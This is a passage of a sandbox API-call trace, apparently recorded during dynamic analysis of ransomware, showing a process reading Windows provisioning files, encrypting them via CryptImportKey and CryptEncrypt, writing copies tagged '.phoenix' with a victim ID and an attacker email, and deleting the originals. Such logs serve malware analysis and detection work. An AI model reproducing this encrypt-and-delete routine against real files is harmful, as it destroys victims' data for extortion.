	[0251.470] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.470] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\454__connections_cellular_vodafone tr (turkey)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.470] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151680) returned 1
	[0251.470] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.470] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x34e, lpOverlapped=0x0) returned 1
	[0251.472] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0251.472] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0251.473] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0251.473] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.473] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.473] CryptDestroyKey (hKey=0x151700) returned 1
	[0251.473] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.473] CryptDestroyKey (hKey=0x151680) returned 1
	[0251.473] CloseHandle (hObject=0x2d8) returned 1
	[0251.473] CloseHandle (hObject=0x2b4) returned 1
	[0251.473] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\454__connections_cellular_vodafone tr (turkey)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.475] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.475] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.475] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\455__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0251.475] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0251.475] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.475] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0251.476] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0251.476] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0251.477] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0251.477] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.478] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0251.478] CryptDestroyKey (hKey=0x151040) returned 1
	[0251.478] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0251.478] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0251.478] CloseHandle (hObject=0x2b4) returned 1
	[0251.478] CloseHandle (hObject=0x2d8) returned 1
	[0251.478] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\455__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0251.479] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.479] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.479] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\456__connections_cellular_vf kktc telsim (cyprus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.480] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0251.480] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.480] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d9, lpOverlapped=0x0) returned 1
	[0251.482] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0251.482] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0251.483] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0251.483] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.483] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0251.483] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.483] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0251.483] CryptDestroyKey (hKey=0x151440) returned 1
	[0251.483] CloseHandle (hObject=0x2d8) returned 1
	[0251.483] CloseHandle (hObject=0x2b4) returned 1
	[0251.483] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\456__connections_cellular_vf kktc telsim (cyprus)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.484] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.484] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.485] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\457__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0251.485] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0251.485] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.485] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0251.486] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0251.486] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0251.487] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0251.487] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.487] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0251.487] CryptDestroyKey (hKey=0x151100) returned 1
	[0251.487] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0251.487] CryptDestroyKey (hKey=0x151140) returned 1
	[0251.487] CloseHandle (hObject=0x2b4) returned 1
	[0251.487] CloseHandle (hObject=0x2d8) returned 1
	[0251.487] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\457__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0251.490] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.490] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.490] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\458__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.491] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0251.491] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.491] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d6, lpOverlapped=0x0) returned 1
	[0251.597] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0251.597] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0251.598] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0251.598] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.598] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.598] CryptDestroyKey (hKey=0x151780) returned 1
	[0251.598] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.598] CryptDestroyKey (hKey=0x151100) returned 1
	[0251.598] CloseHandle (hObject=0x2d8) returned 1
	[0251.598] CloseHandle (hObject=0x2b4) returned 1
	[0251.599] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\458__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.600] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.600] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.600] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\45__connections_cellular_orange (belgium)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0251.601] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0251.601] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.601] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c7, lpOverlapped=0x0) returned 1
	[0251.653] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0251.653] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.654] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0251.654] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.654] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.654] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.654] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.654] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.654] CloseHandle (hObject=0x2b4) returned 1
	[0251.654] CloseHandle (hObject=0x2d8) returned 1
	[0251.654] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\45__connections_cellular_orange (belgium)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.656] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.656] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.656] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\462__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.657] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0251.657] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.657] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cd, lpOverlapped=0x0) returned 1
	[0251.670] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0251.670] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.671] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0251.671] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.671] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.671] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0251.671] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.672] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.672] CloseHandle (hObject=0x2d8) returned 1
	[0251.672] CloseHandle (hObject=0x2b4) returned 1
	[0251.672] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\462__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml")) returned 1
	[0251.673] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.673] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.673] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\463__connections_cellular_astelit (ukraine)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0251.674] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0251.674] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
